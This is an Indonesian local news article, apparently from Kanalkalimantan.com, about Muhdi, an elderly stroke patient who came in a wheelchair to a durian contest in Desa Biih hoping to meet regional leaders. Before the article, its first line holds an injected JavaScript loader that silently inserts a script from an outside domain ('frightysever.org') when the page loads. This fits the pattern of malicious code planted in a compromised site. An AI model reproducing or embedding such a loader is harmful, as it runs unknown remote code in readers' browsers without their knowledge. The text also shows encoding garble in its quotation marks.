(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Ada hal menarik saat berlangsungnya kontes durian di Desa Biih, Kecamatan Karang Intan, Kabupaten Banjar, Kamis (11/1) lalu. Bukan kisah tentang kelezatan durian peserta kontes, tetapi tentang sosok Muhdi (70).
Laki-laki tua asal Desa Biih tersebut, datang ke lokasi kontes yang becek setalah diguyur hujan dengan menggunakan kursi roda. Dia nekat datang ke lokasi bukan untuk menikmati durian, tetapi hanya untuk bisa bertemu Gubernur Kalsel Sahbirin Noor dan Bupati Banjar KH Halilurrahman yang datang ke lokasi untuk membuka kontes durian.
Tapi sayang, keinginan Muhdi untuk bersalaman dan bertemu dua pemimpin tersebut tak kesampaian. Karena pada saat itu, dia kesulitan menembus ke lokasi gubernur dan bupati yang memang dipadati oleh banyak orang.  Walhasil, dia hanya bisa menatap dua pemimpin daerah tersebut dari kejauhan.
“Saya merasa senang bisa melihat kedua pemimpin hadir di sini. Walaupun tak sempat bersalam sapa kepada beliau, †ungkap Muhdi kepada Kanalkalimantan.com.
Ya, Muhdi susah payang datang ke lokasi. Pria yang sejak lima tahun ini menderita stroke hanya hidup bersama istrinya Badila (55). Tapi sungguh malang, istrinya juga sejak lama menderita penyakit kadar gula yang menyebabkannya tak bisa lagi melihat.
“Saya di desa tinggal bersama istri, tapi kini matanya pun tak bias melihat lagi. Untuk pekerjaan rumah, saya kerjakan sendiri. Dari memasak sampai mencuci baju,†ungkap Mahdi.
Untuk kebutuhan hidup seperti sembako, Mahdi hanya berharap kepada anaknya yang berada di Kota Balikpapan. Anaknya tersebut, saat ini menjadi imam salah satu masjid di kota tersebut. “Anak saya menjadi imam salah satu mesjid di Kota Balikpapan,†ujarnya bangga.
Meski tak sampai bertemu Gubernur Sahbirin dan Bupati Khalilurrahman, Mahdi tetap berharap kedua pemimpin tersebut selalu diberikan kesehatan dan kelancaran dalam tugasnya. “Ya.. semoga beliau-beliau diberikan kesehatan dan keselamatan dalam bertugas,†pungkasnya.
Siang itu, saat kontes durian selesai Mahdi berjalan pulang sendiri dengan cara mendorong kursi rodanya. Dia harus berjuang melawan lumpur dan air becek, meski keinginannya tak tersampaikan. (hendera)
KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
This website uses cookies.